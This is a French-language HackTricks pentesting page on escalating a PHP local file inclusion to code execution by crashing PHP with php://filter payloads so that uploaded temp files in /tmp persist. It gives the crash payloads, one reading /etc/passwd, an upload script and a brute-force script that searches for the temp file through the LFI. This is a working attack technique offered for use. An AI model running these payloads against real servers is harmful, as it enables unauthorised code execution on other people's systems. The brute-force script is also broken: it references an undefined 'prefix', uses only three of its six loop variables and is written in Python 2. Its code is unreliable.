hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
2023-06-03 13:10:46 +00:00

5.7 KiB

LFI2RCE via Segmentation Fault

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Selon les writeups https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (deuxième partie) et https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, les charges utiles suivantes ont provoqué une erreur de segmentation dans PHP :

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Il est important de savoir que si vous envoyez une requête POST contenant un fichier, PHP créera un fichier temporaire dans /tmp/php<quelquechose> avec le contenu de ce fichier. Ce fichier sera automatiquement supprimé une fois que la requête aura été traitée.

Si vous trouvez une LFI et que vous parvenez à déclencher une erreur de segmentation dans PHP, le fichier temporaire ne sera jamais supprimé. Par conséquent, vous pouvez le rechercher avec la vulnérabilité LFI jusqu'à ce que vous le trouviez et exécuter du code arbitraire.

Vous pouvez utiliser l'image Docker https://hub.docker.com/r/easyengine/php7.0 pour les tests.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = prefix + i + j + k
                            url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
                            print url
                            response = requests.get(url)
                            if 'spyd3r' in response.content:
                                print "[+] Include success!"
                                return True


def main():
    bruteforce(charset)

if __name__ == "__main__":
    main()
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥